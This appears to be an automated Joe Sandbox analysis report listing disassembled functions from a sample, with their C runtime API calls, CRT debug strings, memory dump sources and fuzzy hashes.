f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0041C491, 0041C4BE
bufferSize <= INT_MAX, xrefs: 0041C485, 0041C4C8

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno__invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 2676528542-322421350
Opcode ID: d5e9ad6bc395b2d9448ead408a18e5c2036691cbe1693191827c596b44ee9dd4
Instruction ID: cab27149fe7e8884d4f71486abb1229dc740ffb277849f4779ba3c5e101ca3eb
Opcode Fuzzy Hash: d5e9ad6bc395b2d9448ead408a18e5c2036691cbe1693191827c596b44ee9dd4
Instruction Fuzzy Hash: EC219270A8424ADBDF24CF58CC91BFE7761BB40714F20462BE8256A3C4D7799990CB5A

Function 0040B2DE Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0040B31C
__invalid_parameter.LIBCMTD ref: 0040B33D
_memset.LIBCMT ref: 0040B389

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040B301, 0040B32E
_calloc_dbg_impl, xrefs: 0040B333
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0040B2F5, 0040B338

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno__invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2676528542-1805389939
Opcode ID: d72011bf006299d865b0010bd916408e90416a2c4f8415da26772b6984a2293a
Instruction ID: 8b08ff892c3dc9110ba1f27756909b451d7b072dfa74c75be0da1ac02a89638c
Opcode Fuzzy Hash: d72011bf006299d865b0010bd916408e90416a2c4f8415da26772b6984a2293a
Instruction Fuzzy Hash: C51163B5A40208BFCB00DF94CC42F9E7765AB54754F20856AF908BB2D1E778AA50CB99

Function 0231208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023120C6
__invoke_watson.LIBCMT ref: 02312120
_strlen.LIBCMT ref: 023120D4

Part of subcall function 022F5BA8: __getptd_noexit.LIBCMT ref: 022F5BA8

_strnlen.LIBCMT ref: 0231215F
__lock.LIBCMT ref: 02312170
__getenv_helper_nolock.LIBCMT ref: 0231217B

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 5c455bc96cbf91bc21aef7e5b4490aa5a5ed9750b61119cc8df5214097b2ba6b
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: D9312532A503356BDB29BBA4DC00B6FB799AF05B64F114135EE04EB288DB788541CBA1

Function 023966D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023966DD

Part of subcall function 022F59BF: __calloc_crt.LIBCMT ref: 022F59E2
Part of subcall function 022F59BF: __initptd.LIBCMT ref: 022F5A04

__calloc_crt.LIBCMT ref: 02396700
__get_sys_err_msg.LIBCMT ref: 0239671E
__invoke_watson.LIBCMT ref: 0239673B
__get_sys_err_msg.LIBCMT ref: 0239676D
__invoke_watson.LIBCMT ref: 0239678B

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 725a56f24156c48af4c8d71dc471ecb20db7f4c4b365584c7e02c0fe74c14b04
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: C711C4316027186BEF357E65DC02B6BB39DDF02760F010436FE0896640E772D9004EE4

Function 0041F410 Relevance: 9.1, APIs: 6, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

___initconout.LIBCMTD ref: 0041F434

Part of subcall function 00422FE0: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0041F439), ref: 00422FF9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0041F4B9
WideCharToMultiByte.KERNEL32(00000000), ref: 0041F4C0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0041F4E7

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: a141f84bb45a364209d32cf0d2973e36b0c385531a4ca2b7fe044c9c099f563c
Instruction ID: 68470a2308e4a60f455b575c13d04eb8fbada4b30445bda570aac4373b769904
Opcode Fuzzy Hash: a141f84bb45a364209d32cf0d2973e36b0c385531a4ca2b7fe044c9c099f563c
Instruction Fuzzy Hash: 77218230A00304EBDB20DF64DC04BFB3768BB18314F60833AE506966E0D778598ADB6E

Function 00410AB1 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00410B93
__getbuf.LIBCMTD ref: 00410BA3
__write.LIBCMTD ref: 00410C2B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00410BCA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00410BD6

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: ebb5fc66dee2cef45973c6aad563910a06d6ad59728df104f6a4e40432bfcd2a
Instruction ID: d595d89cb3a78cef904d1fc233488658d72da2e348a811a4afa871edc00e5979
Opcode Fuzzy Hash: ebb5fc66dee2cef45973c6aad563910a06d6ad59728df104f6a4e40432bfcd2a
Instruction Fuzzy Hash: C451CD78A04208EFDB14CF94C495AAEFB71FF48324F148299E4456B396D675EAC1CF84

Function 004208A4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420918
__aullrem.LIBCMT ref: 00420AE5
__aulldiv.LIBCMT ref: 00420B07

Strings

9, xrefs: 00420B18
0, xrefs: 004208D3

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 6ae24b264fc982656064a7f7578f12dc2f4af9ef85f3182b800ea4c7ffe1b027
Instruction ID: adf1fcf3d3dc1c1d42fe2d3e0470bf1b8bb826e75ee6664ea15d29544eecf150
Opcode Fuzzy Hash: 6ae24b264fc982656064a7f7578f12dc2f4af9ef85f3182b800ea4c7ffe1b027
Instruction Fuzzy Hash: 1441F4B1E15228DFEB24CF48D899BAEB7B5BB54304F5081DAD409A7242C7385E85CF45

Function 00422159 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004221C0
__aullrem.LIBCMT ref: 00422390
__aulldiv.LIBCMT ref: 004223B2

Strings

', xrefs: 00422159
9, xrefs: 004223C3

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 909b79ec3f35dcdc6c11d4c17450f5894463073a3970c0ccf8cc16f4c027ed90
Instruction ID: dc65ec0fc705fc7f8e54d8c5ed54e699f2c8b94651d6aea8c1298e3eda8f75f6
Opcode Fuzzy Hash: 909b79ec3f35dcdc6c11d4c17450f5894463073a3970c0ccf8cc16f4c027ed90
Instruction Fuzzy Hash: D24136B1A00229EFDB24CF58D941BAEB7B5FF85314F4040DAD648A7240C7B89E81CF5A

Function 0041BE86 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041BEC9
__invalid_parameter.LIBCMTD ref: 0041BEE7

Strings

pwcs != NULL, xrefs: 0041BEA5, 0041BEE2
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0041BEAE, 0041BED8
_wcstombs_l_helper, xrefs: 0041BEDD

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno__invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3025725278-2632876063
Opcode ID: b439a58f80800a93102e75140c41a4782247632c6a0f96fe9c2e052f904a0022
Instruction ID: 8bce3d4130d87cea99b9fa8e273f45444e399ad992538cdda99181ab380a2a1e
Opcode Fuzzy Hash: b439a58f80800a93102e75140c41a4782247632c6a0f96fe9c2e052f904a0022
Instruction Fuzzy Hash: 98F0F670EC4318AFDB205EA0EC43BEE3251AB14718F2006ABF516795C1D7FD56D0859E

Function 0041C365 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041C3BA
__invalid_parameter.LIBCMTD ref: 0041C3DB

Strings

_wcstombs_s_l, xrefs: 0041C3D1
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 0041C393, 0041C3D6
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0041C39F, 0041C3CC

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno__invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3025725278-625432840
Opcode ID: d467602f5031e2009f3ff408781cb377012698b6825d13bfc3fa10cb6ae40928
Instruction ID: c2feffcc7c114580457d3afdebc6e7e67689f37d80d9301a9abc35f41e548cf0
Opcode Fuzzy Hash: d467602f5031e2009f3ff408781cb377012698b6825d13bfc3fa10cb6ae40928
Instruction Fuzzy Hash: 9301FB70EC431DDAEB205E94DC467EFB260AB11709F10862BF925292C2C3FD56D48A9E

Function 0041AA88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041AAAF
__invalid_parameter.LIBCMTD ref: 0041AAD0

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041AA94, 0041AAC1
format != NULL, xrefs: 0041AA88, 0041AACB
_vsnprintf_s_l, xrefs: 0041AAC6

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno__invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c$format != NULL
API String ID: 3025725278-3373716590
Opcode ID: 588fbf5e2c7d3b96bdf97a95f9ed6a0a8843590947e1a987cbb8b4b7f4eb20b0
Instruction ID: 808a3341453770428c047bc0f075e46370e96368b1dbf56b4c7e328483de9f39
Opcode Fuzzy Hash: 588fbf5e2c7d3b96bdf97a95f9ed6a0a8843590947e1a987cbb8b4b7f4eb20b0
Instruction Fuzzy Hash: C1E08670FC530866F52036955D0BFE632228B62B69F32027BB62A781C3A9FD40F0595F

Function 022E2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022E26DB
_memset.LIBCMT ref: 022E2A30
_memset.LIBCMT ref: 022E2AC0

Strings

D, xrefs: 022E2AC8

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: d1229e1c599731770171a3d3a1fb778b0d8c7d9ccb8ef3b5843e50ac3233b1ce
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 68E16C71D1021AEACF24DFE0CD49FEEB7BCAF04304F544169EA0AA6194EB746A45CF64

Function 022DD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022DD8EA

Strings

(, xrefs: 022DDAE9
$, xrefs: 022DDAE2
, xrefs: 022DDADB

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: ddcb89b65395b063c1d697f2533e47b8b842fb0af0c860c43e1803a5b4a2772f
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: B491CD72C10219EAEF20DFE0C859BEEBBB5AF05308F204168D505772C4DBB65A48CFA5

Function 00422146 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004221C0
__aullrem.LIBCMT ref: 00422390
__aulldiv.LIBCMT ref: 004223B2

Strings

9, xrefs: 004223C3

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 40a14e90d8722b5b75b12af3c5012a0fe5a1f8c4d1ad9186d0f6d0138da2f85b
Instruction ID: 2db04a968c90f410e2b7006b1fb2942985114a494dcad86012bfe80483e88b42
Opcode Fuzzy Hash: 40a14e90d8722b5b75b12af3c5012a0fe5a1f8c4d1ad9186d0f6d0138da2f85b
Instruction Fuzzy Hash: 174117B1A00229EFDB24CF58D941BAEB7B5FF85314F4041DAD548A7240C7B85E81CF5A

Function 004208EC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420918
__aullrem.LIBCMT ref: 00420AE5
__aulldiv.LIBCMT ref: 00420B07

Strings

9, xrefs: 00420B18

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: cccb3587c9681fbdaa943a18ad1e1189ff1b9224d42225ddf1fb12999dc31f06
Instruction ID: 607dc8a8bbeba8ab2dda46024e82bf23727268d49d47b40917b46ddf933eed4e
Opcode Fuzzy Hash: cccb3587c9681fbdaa943a18ad1e1189ff1b9224d42225ddf1fb12999dc31f06
Instruction Fuzzy Hash: 7B41D3B1E15229DFEB64CF48D899BAEB7B5FB54300F50859AD049A7252C7385E80CF44

Function 00422194 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004221C0
__aullrem.LIBCMT ref: 00422390
__aulldiv.LIBCMT ref: 004223B2

Strings

9, xrefs: 004223C3

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: f6fe971b6f5119387f4d74b3a6ff84e902a829aa3ee90ffbd37d406e4e89f9c6
Instruction ID: 4811f176a9af815b4eb84e5ccd0fb9c32e1a09984d3446a98224ed81254cc05b
Opcode Fuzzy Hash: f6fe971b6f5119387f4d74b3a6ff84e902a829aa3ee90ffbd37d406e4e89f9c6
Instruction Fuzzy Hash: 674105B1A00229AFDB24CF58DD81BAEB7B5FB85314F4041DAD548A7241C7B89E81CF59

Function 0042089B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420918
_get_int64_arg.LIBCMTD ref: 00420940
__aullrem.LIBCMT ref: 00420AE5
__aulldiv.LIBCMT ref: 00420B07

Strings

9, xrefs: 00420B18

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
